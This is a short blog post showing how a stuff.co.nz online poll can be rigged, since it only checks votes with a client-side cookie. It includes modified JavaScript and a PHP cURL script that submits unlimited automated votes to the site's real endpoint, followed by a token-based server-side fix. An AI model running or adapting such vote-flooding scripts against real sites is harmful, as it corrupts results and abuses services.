Scared of the Peacock Revolution since 2006
Blog » Rigging a http://stuff.co.nz/ poll
I am disappointed in Stuff. Their poll lacks any server-side validation, with the only validation being a simple jQuery cookie check. (This post might end up getting a little technical for those of you that don't care. Script kiddies that copy this: you need to get out more. Leave your mother's basement already.)
The code that is being used to do the check then submit the form is a simply function called from the onClick() of the vote button (edited to increase readability):
function poll_vote(node_id,result_url){
if(!$.cookie('voted_'+node_id)){
$.cookie('voted_'+node_id,1);
jQuery.post('/do/poll_vote',
$('#poll-'+node_id).serialize(),
function(){
tb_show('Results',result_url);
}
)
}else{
tb_show('Results',result_url);
}
}
Thus, removing the check is a simply as changing the function to:
function poll_vote(node_id){
jQuery.post('/do/poll_vote',$('#poll-'+node_id).serialize())
}
You can then add in loops to automate a large vote. However, this approach freezes up the browser when sending a large amount or requires a lot of clicking for smaller amounts. Thus the obvious solution is to write a script that emulates this but doesn't run in the browser.
For this I created a simply CLI PHP script that uses cURL.
#!/usr/bin/php
<?php
ini_set('error_reporting', E_ALL);
$pollid = (int)$_SERVER['argv'][1];
$radio = (int)$_SERVER['argv'][2];
$count = (int)(isset($_SERVER['argv'][3])?$_SERVER['argv'][3]:-1);
$post = "poll_id=$pollid&radiobutton=radiobutton_$radio";
$ch = curl_init('http://www.stuff.co.nz/do/poll_vote');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
if($count < 0) while(true) {
curl_exec($ch);
echo '.';
}
else for($i = 0; $i < $count; ++$i) {
curl_exec($ch);
echo '.';
}
echo "\n";
This method is rather slow (takes about 4 minutes on my machine to send 900 requests) and can be made faster by using curl_multi_init(), though there seems to be a limit with the amount of tries/very small period of time the requests are made in which I can be bothered in finding.
So, how can they fix this? The lazy way is to check for the cookie set by the JS on the server-side, make sure it's one then set it to two (or something else non-one). Though this just needs me to add one more curl_setopt() to get around, so is rather ineffective.
A better way to do this would be to generate a unique identifier (something more complicated than a hash of the current time) each time a poll form is loaded and the voted cookie isn't set. This hash should also expire after a certain time. This hash should be added as a hidden field to the form and stored in some table in a database. On submission of the form, the hash passed should be checked against the table. If the hash exists, remove it from the table and process the vote. Else fail.
Handy dandy!
I do wonder about these companies who literally make a living online, and do no checking at all or do not prevent any sort of autovoting. and then base articles on the results!
Posted by Liz, 03/11/2009 4:22pm (4 months ago)
There was a reason I never took those polls seriously...
Nice work simon
Posted by Will, 29/09/2009 9:20am (5 months ago)
RSS feed for comments on this page | RSS feed for all comments